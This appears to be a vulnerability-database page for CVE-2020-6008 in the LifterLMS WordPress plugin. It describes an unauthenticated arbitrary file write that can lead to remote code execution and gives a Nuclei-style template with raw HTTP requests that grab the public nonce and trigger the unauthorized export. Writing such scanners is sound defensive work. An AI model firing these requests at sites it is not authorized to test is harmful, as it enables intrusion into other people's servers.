CVE-2020-6008: LifterLMS < 3.37.15 - Unauthenticated Arbitrary File Write

2026-12-04 PoC Public

Description

The LifterLMS plugin for WordPress before 3.37.15 registers its admin table AJAX handlers for unauthenticated users (wp_ajax_nopriv) and the export_admin_table action is missing an authorization (capability) check. An unauthenticated attacker who reads the public llms-ajax nonce (exposed in the wp_ajax_data object on front-end pages) can invoke export_admin_table to write a user-controlled file via the filename parameter into wp-content/uploads/llms-tmp/. Combined with PHP placed in a registered student's name, this leads to remote code execution.

Details

CVE
CVE-2020-6008 · CVE.org
Severity
高危
Published
PoC
Public

PoC

id: CVE-2020-6008

info:
  name: LifterLMS < 3.37.15 - Unauthenticated Arbitrary File Write
  author: DhiyaneshDk
  severity: critical
  description: |
    The LifterLMS plugin for WordPress before 3.37.15 registers its admin table AJAX handlers for unauthenticated users (wp_ajax_nopriv) and the export_admin_table action is missing an authorization (capability) check. An unauthenticated attacker who reads the public llms-ajax nonce (exposed in the wp_ajax_data object on front-end pages) can invoke export_admin_table to write a user-controlled file via the filename parameter into wp-content/uploads/llms-tmp/. Combined with PHP placed in a registered student's name, this leads to remote code execution.
  impact: |
    An unauthenticated attacker can write arbitrary files to the server and, by injecting PHP into exported content, achieve remote code execution.
  remediation: |
    Update the LifterLMS plugin to version 3.37.15 or later, which adds a capability check (view_lifterlms_reports) to the admin table AJAX handlers.
  reference:
    - https://cpr-zero.checkpoint.com/vulns/cprid-2148/
    - https://www.checkpoint.com/press/2020/check-point-reveals-security-flaws-in-wordpress-based-online-learning-platforms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-6008
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-6008
    epss-score: 0.10603
    epss-percentile: 0.9591
    cwe-id: CWE-434
    cpe: cpe:2.3:a:lifterlms:lifterlms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: lifterlms
    product: lifterlms
    framework: wordpress
    fofa-query: body="/wp-content/plugins/lifterlms/"
    publicwww-query: "/wp-content/plugins/lifterlms/"
  tags: cve,cve2020,wp,wordpress,wp-plugin,lifterlms,rce,fileupload,unauth,vkev

variables:
  fname: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body
        words:
          - "wp_ajax_data"
        internal: true

    extractors:
      - type: regex
        name: nonce
        internal: true
        group: 1
        regex:
          - 'wp_ajax_data *= *\{"nonce":"([a-f0-9]+)"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=export_admin_table&_ajax_nonce={{nonce}}&handler=Courses&filename={{fname}}.csv

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"filename":"{{fname}}.csv"'
          - '"progress":'
          - "llms-dl-export="
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c616fe9a2de7fa5329d4de21b45337c72ba06ba927fb54c0d0370da0ceecbd3f02203d6e5e41b3b37760e7b34855cf666111927d06282e014c9fd621ff7a73686d28:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life